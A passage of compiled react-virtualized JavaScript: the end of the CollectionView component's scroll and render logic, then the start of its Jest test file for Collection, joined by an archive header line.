          scrollPositionChangeReason: scrollPositionChangeReason,
          scrollTop: scrollTop
        });
      }

      _this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        totalWidth: totalWidth,
        totalHeight: totalHeight
      });
    });
    _this._scrollbarSize = (0, _scrollbarSize["default"])();

    if (_this._scrollbarSize === undefined) {
      _this._scrollbarSizeMeasured = false;
      _this._scrollbarSize = 0;
    } else {
      _this._scrollbarSizeMeasured = true;
    }

    return _this;
  }
  /**
   * Forced recompute of cell sizes and positions.
   * This function should be called if cell sizes have changed but nothing else has.
   * Since cell positions are calculated by callbacks, the collection view has no way of detecting when the underlying data has changed.
   */


  (0, _createClass2["default"])(CollectionView, [{
    key: "recomputeCellSizesAndPositions",
    value: function recomputeCellSizesAndPositions() {
      this._calculateSizeAndPositionDataOnNextUpdate = true;
      this.forceUpdate();
    }
    /* ---------------------------- Component lifecycle methods ---------------------------- */

    /**
     * @private
     * This method updates scrollLeft/scrollTop in state for the following conditions:
     * 1) Empty content (0 rows or columns)
     * 2) New scroll props overriding the current state
     * 3) Cells-count or cells-size has changed, making previous scroll offsets invalid
     */

  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var _this$props4 = this.props,
          cellLayoutManager = _this$props4.cellLayoutManager,
          scrollLeft = _this$props4.scrollLeft,
          scrollToCell = _this$props4.scrollToCell,
          scrollTop = _this$props4.scrollTop; // If this component was first rendered server-side, scrollbar size will be undefined.
      // In that event we need to remeasure.

      if (!this._scrollbarSizeMeasured) {
        this._scrollbarSize = (0, _scrollbarSize["default"])();
        this._scrollbarSizeMeasured = true;
        this.setState({});
      }

      if (scrollToCell >= 0) {
        this._updateScrollPositionForScrollToCell();
      } else if (scrollLeft >= 0 || scrollTop >= 0) {
        this._setScrollPosition({
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });
      } // Update onSectionRendered callback.


      this._invokeOnSectionRenderedHelper();

      var _cellLayoutManager$ge2 = cellLayoutManager.getTotalSize(),
          totalHeight = _cellLayoutManager$ge2.height,
          totalWidth = _cellLayoutManager$ge2.width; // Initialize onScroll callback.


      this._invokeOnScrollMemoizer({
        scrollLeft: scrollLeft || 0,
        scrollTop: scrollTop || 0,
        totalHeight: totalHeight,
        totalWidth: totalWidth
      });
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      var _this$props5 = this.props,
          height = _this$props5.height,
          scrollToAlignment = _this$props5.scrollToAlignment,
          scrollToCell = _this$props5.scrollToCell,
          width = _this$props5.width;
      var _this$state2 = this.state,
          scrollLeft = _this$state2.scrollLeft,
          scrollPositionChangeReason = _this$state2.scrollPositionChangeReason,
          scrollTop = _this$state2.scrollTop; // Make sure requested changes to :scrollLeft or :scrollTop get applied.
      // Assigning to scrollLeft/scrollTop tells the browser to interrupt any running scroll animations,
      // And to discard any pending async changes to the scroll position that may have happened in the meantime (e.g. on a separate scrolling thread).
      // So we only set these when we require an adjustment of the scroll position.
      // See issue #2 for more information.

      if (scrollPositionChangeReason === SCROLL_POSITION_CHANGE_REASONS.REQUESTED) {
        if (scrollLeft >= 0 && scrollLeft !== prevState.scrollLeft && scrollLeft !== this._scrollingContainer.scrollLeft) {
          this._scrollingContainer.scrollLeft = scrollLeft;
        }

        if (scrollTop >= 0 && scrollTop !== prevState.scrollTop && scrollTop !== this._scrollingContainer.scrollTop) {
          this._scrollingContainer.scrollTop = scrollTop;
        }
      } // Update scroll offsets if the current :scrollToCell values requires it


      if (height !== prevProps.height || scrollToAlignment !== prevProps.scrollToAlignment || scrollToCell !== prevProps.scrollToCell || width !== prevProps.width) {
        this._updateScrollPositionForScrollToCell();
      } // Update onRowsRendered callback if start/stop indices have changed


      this._invokeOnSectionRenderedHelper();
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._disablePointerEventsTimeoutId) {
        clearTimeout(this._disablePointerEventsTimeoutId);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props6 = this.props,
          autoHeight = _this$props6.autoHeight,
          cellCount = _this$props6.cellCount,
          cellLayoutManager = _this$props6.cellLayoutManager,
          className = _this$props6.className,
          height = _this$props6.height,
          horizontalOverscanSize = _this$props6.horizontalOverscanSize,
          id = _this$props6.id,
          noContentRenderer = _this$props6.noContentRenderer,
          style = _this$props6.style,
          verticalOverscanSize = _this$props6.verticalOverscanSize,
          width = _this$props6.width;
      var _this$state3 = this.state,
          isScrolling = _this$state3.isScrolling,
          scrollLeft = _this$state3.scrollLeft,
          scrollTop = _this$state3.scrollTop; // Memoization reset

      if (this._lastRenderedCellCount !== cellCount || this._lastRenderedCellLayoutManager !== cellLayoutManager || this._calculateSizeAndPositionDataOnNextUpdate) {
        this._lastRenderedCellCount = cellCount;
        this._lastRenderedCellLayoutManager = cellLayoutManager;
        this._calculateSizeAndPositionDataOnNextUpdate = false;
        cellLayoutManager.calculateSizeAndPositionData();
      }

      var _cellLayoutManager$ge3 = cellLayoutManager.getTotalSize(),
          totalHeight = _cellLayoutManager$ge3.height,
          totalWidth = _cellLayoutManager$ge3.width; // Safely expand the rendered area by the specified overscan amount


      var left = Math.max(0, scrollLeft - horizontalOverscanSize);
      var top = Math.max(0, scrollTop - verticalOverscanSize);
      var right = Math.min(totalWidth, scrollLeft + width + horizontalOverscanSize);
      var bottom = Math.min(totalHeight, scrollTop + height + verticalOverscanSize);
      var childrenToDisplay = height > 0 && width > 0 ? cellLayoutManager.cellRenderers({
        height: bottom - top,
        isScrolling: isScrolling,
        width: right - left,
        x: left,
        y: top
      }) : [];
      var collectionStyle = {
        boxSizing: 'border-box',
        direction: 'ltr',
        height: autoHeight ? 'auto' : height,
        position: 'relative',
        WebkitOverflowScrolling: 'touch',
        width: width,
        willChange: 'transform'
      }; // Force browser to hide scrollbars when we know they aren't necessary.
      // Otherwise once scrollbars appear they may not disappear again.
      // For more info see issue #116

      var verticalScrollBarSize = totalHeight > height ? this._scrollbarSize : 0;
      var horizontalScrollBarSize = totalWidth > width ? this._scrollbarSize : 0; // Also explicitly init styles to 'auto' if scrollbars are required.
      // This works around an obscure edge case where external CSS styles have not yet been loaded,
      // But an initial scroll index of offset is set as an external prop.
      // Without this style, Grid would render the correct range of cells but would NOT update its internal offset.
      // This was originally reported via clauderic/react-infinite-calendar/issues/23

      collectionStyle.overflowX = totalWidth + verticalScrollBarSize <= width ? 'hidden' : 'auto';
      collectionStyle.overflowY = totalHeight + horizontalScrollBarSize <= height ? 'hidden' : 'auto';
      return React.createElement("div", {
        ref: this._setScrollingContainerRef,
        "aria-label": this.props['aria-label'],
        className: (0, _clsx["default"])('ReactVirtualized__Collection', className),
        id: id,
        onScroll: this._onScroll,
        role: "grid",
        style: _objectSpread({}, collectionStyle, {}, style),
        tabIndex: 0
      }, cellCount > 0 && React.createElement("div", {
        className: "ReactVirtualized__Collection__innerScrollContainer",
        style: {
          height: totalHeight,
          maxHeight: totalHeight,
          maxWidth: totalWidth,
          overflow: 'hidden',
          pointerEvents: isScrolling ? 'none' : '',
          width: totalWidth
        }
      }, childrenToDisplay), cellCount === 0 && noContentRenderer());
    }
    /* ---------------------------- Helper methods ---------------------------- */

    /**
     * Sets an :isScrolling flag for a small window of time.
     * This flag is used to disable pointer events on the scrollable portion of the Collection.
     * This prevents jerky/stuttery mouse-wheel scrolling.
     */

  }, {
    key: "_enablePointerEventsAfterDelay",
    value: function _enablePointerEventsAfterDelay() {
      var _this2 = this;

      if (this._disablePointerEventsTimeoutId) {
        clearTimeout(this._disablePointerEventsTimeoutId);
      }

      this._disablePointerEventsTimeoutId = setTimeout(function () {
        var isScrollingChange = _this2.props.isScrollingChange;
        isScrollingChange(false);
        _this2._disablePointerEventsTimeoutId = null;

        _this2.setState({
          isScrolling: false
        });
      }, IS_SCROLLING_TIMEOUT);
    }
  }, {
    key: "_invokeOnScrollMemoizer",
    value: function _invokeOnScrollMemoizer(_ref) {
      var _this3 = this;

      var scrollLeft = _ref.scrollLeft,
          scrollTop = _ref.scrollTop,
          totalHeight = _ref.totalHeight,
          totalWidth = _ref.totalWidth;

      this._onScrollMemoizer({
        callback: function callback(_ref2) {
          var scrollLeft = _ref2.scrollLeft,
              scrollTop = _ref2.scrollTop;
          var _this3$props = _this3.props,
              height = _this3$props.height,
              onScroll = _this3$props.onScroll,
              width = _this3$props.width;
          onScroll({
            clientHeight: height,
            clientWidth: width,
            scrollHeight: totalHeight,
            scrollLeft: scrollLeft,
            scrollTop: scrollTop,
            scrollWidth: totalWidth
          });
        },
        indices: {
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        }
      });
    }
  }, {
    key: "_setScrollPosition",
    value: function _setScrollPosition(_ref3) {
      var scrollLeft = _ref3.scrollLeft,
          scrollTop = _ref3.scrollTop;
      var newState = {
        scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
      };

      if (scrollLeft >= 0) {
        newState.scrollLeft = scrollLeft;
      }

      if (scrollTop >= 0) {
        newState.scrollTop = scrollTop;
      }

      if (scrollLeft >= 0 && scrollLeft !== this.state.scrollLeft || scrollTop >= 0 && scrollTop !== this.state.scrollTop) {
        this.setState(newState);
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.cellCount === 0 && (prevState.scrollLeft !== 0 || prevState.scrollTop !== 0)) {
        return {
          scrollLeft: 0,
          scrollTop: 0,
          scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
        };
      } else if (nextProps.scrollLeft !== prevState.scrollLeft || nextProps.scrollTop !== prevState.scrollTop) {
        return {
          scrollLeft: nextProps.scrollLeft != null ? nextProps.scrollLeft : prevState.scrollLeft,
          scrollTop: nextProps.scrollTop != null ? nextProps.scrollTop : prevState.scrollTop,
          scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS.REQUESTED
        };
      }

      return null;
    }
  }]);
  return CollectionView;
}(React.PureComponent);

(0, _defineProperty2["default"])(CollectionView, "defaultProps", {
  'aria-label': 'grid',
  horizontalOverscanSize: 0,
  noContentRenderer: function noContentRenderer() {
    return null;
  },
  onScroll: function onScroll() {
    return null;
  },
  onSectionRendered: function onSectionRendered() {
    return null;
  },
  scrollToAlignment: 'auto',
  scrollToCell: -1,
  style: {},
  verticalOverscanSize: 0
});
CollectionView.propTypes = process.env.NODE_ENV !== "production" ? {
  'aria-label': _propTypes["default"].string,

  /**
   * Removes fixed height from the scrollingContainer so that the total height
   * of rows can stretch the window. Intended for use with WindowScroller
   */
  autoHeight: _propTypes["default"].bool,

  /**
   * Number of cells in collection.
   */
  cellCount: _propTypes["default"].number.isRequired,

  /**
   * Calculates cell sizes and positions and manages rendering the appropriate cells given a specified window.
   */
  cellLayoutManager: _propTypes["default"].object.isRequired,

  /**
   * Optional custom CSS class name to attach to root Collection element.
   */
  className: _propTypes["default"].string,

  /**
   * Height of Collection; this property determines the number of visible (vs virtualized) rows.
   */
  height: _propTypes["default"].number.isRequired,

  /**
   * Optional custom id to attach to root Collection element.
   */
  id: _propTypes["default"].string,

  /**
   * Enables the `Collection` to horiontally "overscan" its content similar to how `Grid` does.
   * This can reduce flicker around the edges when a user scrolls quickly.
   */
  horizontalOverscanSize: _propTypes["default"].number.isRequired,
  isScrollingChange: _propTypes["default"].func,

  /**
   * Optional renderer to be used in place of rows when either :rowCount or :cellCount is 0.
   */
  noContentRenderer: _propTypes["default"].func.isRequired,

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   * ({ clientHeight, clientWidth, scrollHeight, scrollLeft, scrollTop, scrollWidth }): void
   */
  onScroll: _propTypes["default"].func.isRequired,

  /**
   * Callback invoked with information about the section of the Collection that was just rendered.
   * This callback is passed a named :indices parameter which is an Array of the most recently rendered section indices.
   */
  onSectionRendered: _propTypes["default"].func.isRequired,

  /**
   * Horizontal offset.
   */
  scrollLeft: _propTypes["default"].number,

  /**
   * Controls scroll-to-cell behavior of the Grid.
   * The default ("auto") scrolls the least amount possible to ensure that the specified cell is fully visible.
   * Use "start" to align cells to the top/left of the Grid and "end" to align bottom/right.
   */
  scrollToAlignment: _propTypes["default"].oneOf(['auto', 'end', 'start', 'center']).isRequired,

  /**
   * Cell index to ensure visible (by forcefully scrolling if necessary).
   */
  scrollToCell: _propTypes["default"].number.isRequired,

  /**
   * Vertical offset.
   */
  scrollTop: _propTypes["default"].number,

  /**
   * Optional custom inline style to attach to root Collection element.
   */
  style: _propTypes["default"].object,

  /**
   * Enables the `Collection` to vertically "overscan" its content similar to how `Grid` does.
   * This can reduce flicker around the edges when a user scrolls quickly.
   */
  verticalOverscanSize: _propTypes["default"].number.isRequired,

  /**
   * Width of Collection; this property determines the number of visible (vs virtualized) columns.
   */
  width: _propTypes["default"].number.isRequired
} : {};
(0, _reactLifecyclesCompat.polyfill)(CollectionView);
var _default = CollectionView;
exports["default"] = _default;commonjs/Collection/Collection.jest.js000064400000075472151677406000014106 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _regenerator = _interopRequireDefault(require("@babel/runtime/regenerator"));

var _typeof2 = _interopRequireDefault(require("@babel/runtime/helpers/typeof"));

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _scrollbarSize = _interopRequireDefault(require("dom-helpers/scrollbarSize"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _testUtils = require("react-dom/test-utils");

var _TestUtils = require("../TestUtils");

var _Collection = _interopRequireDefault(require("./Collection"));

var _TestData = require("./TestData");

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

describe('Collection', function () {
  function defaultCellRenderer(_ref) {
    var index = _ref.index,
        key = _ref.key,
        style = _ref.style;
    return React.createElement("div", {
      className: "cell",
      key: key,
      style: style
    }, "cell:", index);
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    var _props$cellCount = props.cellCount,
        cellCount = _props$cellCount === void 0 ? _TestData.CELLS.length : _props$cellCount;

    function defaultCellSizeAndPositionGetter(_ref2) {
      var index = _ref2.index;
      index %= cellCount;
      return _TestData.CELLS[index];
    }

    return React.createElement(_Collection["default"], (0, _extends2["default"])({
      cellCount: cellCount,
      cellRenderer: defaultCellRenderer,
      cellSizeAndPositionGetter: defaultCellSizeAndPositionGetter,
      height: _TestData.SECTION_SIZE,
      sectionSize: _TestData.SECTION_SIZE,
      width: _TestData.SECTION_SIZE * 2
    }, props));
  }

  function simulateScroll(_ref3) {
    var collection = _ref3.collection,
        _ref3$scrollLeft = _ref3.scrollLeft,
        scrollLeft = _ref3$scrollLeft === void 0 ? 0 : _ref3$scrollLeft,
        _ref3$scrollTop = _ref3.scrollTop,
        scrollTop = _ref3$scrollTop === void 0 ? 0 : _ref3$scrollTop;
    var target = {
      scrollLeft: scrollLeft,
      scrollTop: scrollTop
    };
    collection._collectionView._scrollingContainer = target; // HACK to work around _onScroll target check

    _testUtils.Simulate.scroll((0, _reactDom.findDOMNode)(collection), {
      target: target
    });
  }

  function compareArrays(array1, array2) {
    expect(array1.length).toEqual(array2.length);
    array2.forEach(function (value) {
      expect(array1).toContain(value);
    });
  }

  describe('number of rendered children', function () {
    it('should render enough children to fill the available area', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.querySelectorAll('.cell').length).toEqual(4);
    });
    it('should not render more cells than available if the area is not filled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellCount: 2
      })));
      expect(rendered.querySelectorAll('.cell').length).toEqual(2);
    }); // Small performance tweak added in 5.5.6

    it('should not render/parent cells that are null or false', function () {
      function cellRenderer(_ref4) {
        var index = _ref4.index,
            key = _ref4.key,
            style = _ref4.style;

        if (index > 2) {
          return null;
        } else {
          return React.createElement("div", {
            className: "cell",
            key: key,
            style: style
          }, index);
        }
      }

      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer
      })));
      expect(rendered.querySelectorAll('.cell').length).toEqual(3);
    });
  });
  describe('shows and hides scrollbars based on rendered content', function () {
    var scrollbarSize;
    beforeAll(function () {
      scrollbarSize = (0, _scrollbarSize["default"])();
    });
    it('should set overflowX:hidden if columns fit within the available width and y-axis has no scrollbar', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 4,
        width: 6
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should set overflowX:hidden if columns and y-axis scrollbar fit within the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 1,
        width: 6 + scrollbarSize
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should leave overflowX:auto if columns require more than the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        width: 1
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should leave overflowX:auto if columns and y-axis scrollbar require more than the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 1,
        width: 6 + scrollbarSize - 1
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should set overflowY:hidden if rows fit within the available width and xaxis has no scrollbar', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 4,
        width: 6
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should set overflowY:hidden if rows and x-axis scrollbar fit within the available width', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 4 + scrollbarSize,
        width: 1
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should leave overflowY:auto if rows require more than the available height', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 1
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should leave overflowY:auto if rows and y-axis scrollbar require more than the available height', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 4 + scrollbarSize - 1,
        width: 1
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should accept styles that overwrite calculated ones', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 1,
        style: {
          overflowX: 'auto',
          overflowY: 'auto'
        },
        width: 1
      })));
      expect(rendered.style.overflowX).toEqual('auto');
      expect(rendered.style.overflowY).toEqual('auto');
    });
  });
  describe('autoHeight', function () {
    it('should set the container height to auto to adjust to innerScrollContainer height', function () {
      var props = {
        autoHeight: true
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.style.height).toEqual('auto');
    });
    it('should have container height still affecting number of rows rendered', function () {
      var indices;
      var props = {
        autoHeight: true,
        height: 500,
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        }
      };
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      compareArrays(indices, [0, 1, 2, 3, 4, 5]);
    });
    it('should have innerScrollContainer height to be equal number of rows * rowHeight', function () {
      var props = {
        autoHeight: true
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.querySelector('.ReactVirtualized__Collection__innerScrollContainer').style.height).toEqual('4px');
    });
  });
  describe(':scrollToCell', function () {
    it('should scroll to the top/left', function () {
      var collection = (0, _TestUtils.render)(getMarkup({
        scrollToCell: 0
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(0);
      expect(collection._collectionView.state.scrollTop).toEqual(0);
    });
    it('should scroll over to the middle', function () {
      var collection = (0, _TestUtils.render)(getMarkup({
        scrollToCell: 7
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(1);
      expect(collection._collectionView.state.scrollTop).toEqual(1);
    });
    it('should scroll to the bottom/right', function () {
      var collection = (0, _TestUtils.render)(getMarkup({
        scrollToCell: 9
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(2);
      expect(collection._collectionView.state.scrollTop).toEqual(2);
    });
    it('should honor the specified :scrollToAlignment', function () {
      var collection = (0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'start',
        scrollToCell: 2,
        width: _TestData.SECTION_SIZE
      })); // Minimum amount of scrolling ("auto") would be 0,0

      expect(collection._collectionView.state.scrollLeft).toEqual(2);
      expect(collection._collectionView.state.scrollTop).toEqual(1);
      collection = (0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'end',
        scrollToCell: 2,
        width: _TestData.SECTION_SIZE
      })); // This cell would already by visible by "auto" rules

      expect(collection._collectionView.state.scrollLeft).toEqual(1);
      expect(collection._collectionView.state.scrollTop).toEqual(0);
      collection = (0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'center',
        scrollToCell: 4,
        width: _TestData.SECTION_SIZE
      })); // This cell doesn't fit entirely in the viewport but we center it anyway.

      expect(collection._collectionView.state.scrollLeft).toEqual(0.5);
      expect(collection._collectionView.state.scrollTop).toEqual(2);
    });
    it('should scroll to a cell just added', function () {
      var collection = (0, _TestUtils.render)(getMarkup({
        cellCount: 4
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(0);
      expect(collection._collectionView.state.scrollTop).toEqual(0);
      collection = (0, _TestUtils.render)(getMarkup({
        cellCount: 8,
        scrollToCell: 7
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(1);
      expect(collection._collectionView.state.scrollTop).toEqual(1);
    });
  });
  describe('property updates', function () {
    it('should update :scrollToCell position when :width changes', function () {
      var collection = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToCell: 3
      })));
      expect(collection.textContent).toContain('cell:3'); // Making the collection narrower leaves only room for 1 item

      collection = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToCell: 3,
        width: 1
      })));
      expect(collection.textContent).toContain('cell:3');
    });
    it('should update :scrollToCell position when :height changes', function () {
      var collection = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToCell: 4
      })));
      expect(collection.textContent).toContain('cell:4'); // Making the collection shorter leaves only room for 1 item

      collection = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToCell: 4,
        height: 1
      })));
      expect(collection.textContent).toContain('cell:4');
    });
    it('should update scroll position when :scrollToCell changes', function () {
      var collection = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(collection.textContent).not.toContain('cell:9');
      collection = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToCell: 9
      })));
      expect(collection.textContent).toContain('cell:9');
    });
  });
  describe('noContentRenderer', function () {
    it('should call :noContentRenderer if :cellCount is 0', function () {
      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        cellCount: 0
      })));
      expect(list.textContent).toEqual('No data');
    });
    it('should render an empty body if :cellCount is 0 and there is no :noContentRenderer', function () {
      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellCount: 0
      })));
      expect(list.textContent).toEqual('');
    });
    it('should not show the :noContentRenderer when there are children, even if no children are currently visible (sparse)', function () {
      var offscreenSizeAndPosition = {
        x: _TestData.SECTION_SIZE * 3,
        y: _TestData.SECTION_SIZE * 3,
        width: 1,
        height: 1
      };

      function cellSizeAndPositionGetter() {
        return offscreenSizeAndPosition;
      }

      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellCount: 1,
        cellSizeAndPositionGetter: cellSizeAndPositionGetter,
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        }
      })));
      expect(list.textContent).not.toEqual('No data');
    });
  });
  describe('onSectionRendered', function () {
    it('should call :onSectionRendered if at least one cell is rendered', function () {
      var indices;
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        }
      }));
      compareArrays(indices, [0, 1, 2, 3]);
    });
    it('should not call :onSectionRendered unless the rendered indices have changed', function () {
      var numCalls = 0;
      var indices;

      var onSectionRendered = function onSectionRendered(params) {
        indices = params.indices;
        numCalls++;
      };

      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      compareArrays(indices, [0, 1, 2, 3]);
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      compareArrays(indices, [0, 1, 2, 3]);
    });
    it('should call :onSectionRendered if the rendered indices have changed', function () {
      var numCalls = 0;
      var indices;

      var onSectionRendered = function onSectionRendered(params) {
        indices = params.indices;
        numCalls++;
      };

      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      compareArrays(indices, [0, 1, 2, 3]);
      (0, _TestUtils.render)(getMarkup({
        height: _TestData.SECTION_SIZE * 2,
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(2);
      compareArrays(indices, [0, 1, 2, 3, 4, 5]);
      (0, _TestUtils.render)(getMarkup({
        height: _TestData.SECTION_SIZE * 2,
        onSectionRendered: onSectionRendered,
        width: _TestData.SECTION_SIZE
      }));
      expect(numCalls).toEqual(3);
      expect(indices).toEqual([0, 4]);
    });
    it('should not call :onSectionRendered if no cells are rendered', function () {
      var numCalls = 0;
      (0, _TestUtils.render)(getMarkup({
        height: 0,
        onSectionRendered: function onSectionRendered() {
          return numCalls++;
        }
      }));
      expect(numCalls).toEqual(0);
    });
  });
  describe(':scrollLeft and :scrollTop properties', function () {
    it('should render correctly when an initial :scrollLeft and :scrollTop properties are specified', function () {
      var indices;
      var collection = (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        scrollLeft: 2,
        scrollTop: 2
      }));
      compareArrays(indices, [3, 4, 5, 7, 8, 9]);
      expect(collection._collectionView.state.scrollPositionChangeReason).toEqual('requested');
    });
    it('should render correctly when :scrollLeft and :scrollTop properties are updated', function () {
      var indices;
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        }
      }));
      compareArrays(indices, [0, 1, 2, 3]);
      var collection = (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        scrollLeft: 2,
        scrollTop: 2
      }));
      compareArrays(indices, [3, 4, 5, 7, 8, 9]);
      expect(collection._collectionView.state.scrollPositionChangeReason).toEqual('requested');
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.className).toEqual('ReactVirtualized__Collection');
    });
    it('should use a custom :className if specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        className: 'foo'
      })));
      expect(rendered.className).toContain('foo');
    });
    it('should use a custom :id if specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        id: 'bar'
      })));
      expect(rendered.getAttribute('id')).toEqual('bar');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        style: style
      })));
      expect(rendered.style.backgroundColor).toEqual('red');
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component is mounted', function () {
      var onScrollCalls = [];
      (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 2,
        scrollTop: 1
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: _TestData.SECTION_SIZE,
        clientWidth: _TestData.SECTION_SIZE * 2,
        scrollHeight: 4,
        scrollLeft: 2,
        scrollTop: 1,
        scrollWidth: 6
      }]);
    });
    it('should trigger callback when component scrolls horizontally', function () {
      var onScrollCalls = [];
      var collection = (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        collection: collection,
        scrollLeft: 1,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: _TestData.SECTION_SIZE,
        clientWidth: _TestData.SECTION_SIZE * 2,
        scrollHeight: 4,
        scrollLeft: 1,
        scrollTop: 0,
        scrollWidth: 6
      });
    });
    it('should trigger callback when component scrolls vertically', function () {
      var onScrollCalls = [];
      var collection = (0, _TestUtils.render)(getMarkup({
